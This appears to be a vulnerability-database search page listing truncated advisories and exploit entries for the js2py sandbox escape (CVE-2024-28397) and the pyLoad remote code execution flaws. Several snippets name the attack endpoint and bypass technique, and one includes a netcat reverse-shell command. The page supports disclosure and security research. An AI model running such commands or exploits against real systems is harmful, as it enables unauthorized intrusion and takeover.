86 matches found
pyLoad CVE-2023-0297 pyimport RCE
CVE-2023-0297 pyLoad-ng 0.5.0b3.dev31: unauthenticated POST /flash/addcrypted2 evaluates the jk form field via js2py without disablepyimport, allowing pyimport os; os.system.... !/usr/bin/env python3 -- coding: utf-8 -- """pyLoad CVE-2023-0297 pre-auth pyimport RCE via /flash/addcrypted2.""" from...
exploit-js2py
CVE-2024-28397 - الهروب من الصندوق الرملي في js2py الوصف تؤثر ثغرة CVE-2024-28397 على إصدارات js2py حتى v0.74، وهي مكتبة بايثون تتيح تنفيذ كود جافا سكريبت داخل مفسّر بايثون. يكمن الخلل في تنفيذ الطريقة disablepyimport، التي يفترض أن تمنع كود جافا سكريبت من الوصول إلى كائنات بايثون. ومع ذلك، وبسبب...
OPENSUSE-SU-2026:11322-1 python313-Js2Py-0.74-6.1 on GA media
These are all security issues fixed in the python313-Js2Py-0.74-6.1 package on the GA media of openSUSE Tumbleweed...
PT-2026-63452
These are all security issues fixed in the python313-Js2Py-0.74-6.1 package on the GA media of openSUSE Tumbleweed...
abersetz (>=1.0.9, <=1.1.0), acfunsdk (0.8.3) +128 more potentially affected by CVE-2024-28397 via js2py (>=0.50.0, <=0.74.0)
js2py PYPI version =0.50.0, =1.0.9, =1.3.93, =3.4.0, =2.51.0, =0.0.1, =0.1.5, =0.1.1, =0.2.2, =0.72.2, =0.0.8, =0.0.10 and more Source cves: CVE-2024-28397 Source advisory: OSV:PYSEC-2026-1476...
js2py allows remote code execution
An issue in the component js2py.disablepyimport of js2py up to v0.74 allows attackers to execute arbitrary code via a crafted API call...
PYSEC-2026-1476 js2py allows remote code execution
An issue in the component js2py.disablepyimport of js2py up to v0.74 allows attackers to execute arbitrary code via a crafted API call...
PYSEC-2026-499 pyload-ng vulnerable to RCE with js2py sandbox escape
Summary Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately. Details js2py has a vulnerability of sandbox escape assigned as CVE-2024-28397, which is used by the...
pyload-ng vulnerable to RCE with js2py sandbox escape
SummaryAny pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately. Detailsjs2py has a vulnerability of sandbox escape assigned as CVE-2024-28397, which is used by the...
WS-2023-0013
In pyload 0.5.0, an unauthenticated attacker can execute arbitrary python code by abusing js2py functionality. Also, due to the lack of CSRF protection, a victim can be tricked to execute arbitrary python code...
Exploit for CVE-2024-28397
CVE-2024-28397 - Js2Py Sandbox Escape Payload Generator This...
Pyload Js2Py RCE detection (CVE-2024-39205 / CVE-2024-28397)
Sends a timed sleep via POST /flash/addcrypted2 with a Host: 127.0.0.1: bypass and a CVE-2024-28397 Js2Py sandbox-escape payload. Vulnerable hosts exhibit a delayed response consistent with command execution. !/usr/bin/env python3 -- coding: utf-8 -- import random import time import requests from...
Pyload unauthenticated RCE via Js2Py sandbox escape
CVE-2024-39205: pyLoad ≤ 0.5.0b3.dev85 exposes Js2Py evaluation on POST /flash/addcrypted2. Localhost-only checks are bypassed by sending Host: 127.0.0.1:. CVE-2024-28397: Js2Py ≤ 0.74 sandbox escape via Object.getOwnPropertyNames to reach subprocess.Popen. !/usr/bin/env python3 -- coding: utf-8 ...
Js2Py 0.74 - RCE
Exploit Title: Js2Py 0.74 - RCE Date: 2026-02-03 Exploit Author: Ali Sünbül xeloxa Author Page: https://github.com/xeloxa Vendor Homepage: https://github.com/PiotrDabkowski/Js2Py Software Link: https://pypi.org/project/Js2Py/ Version: payload.js python3 exploit.py -c "nc -e /bin/bash 10.10.10.10...
Exploit for CVE-2024-28397
CVE-2024-28397: Js2Py Sandbox Escape Payload Generator !Pyth...
Exploit for CVE-2024-28397
js2py Sandbox Escape CVE-2024-28397 Exploit para ejecución...
📄 js2py 0.74 Automated Sandbox Escape / Code Execution
js2py version 0.74 automated sandbox escape and remote code execution exploit with a reverse shell. ============================================================================================================================================= | Title : js2py v0.74 Automated Sandbox Escape & Revers...
Exploit for CVE-2024-28397
CVE-2024-28397 Exploit Automation A Python automation script...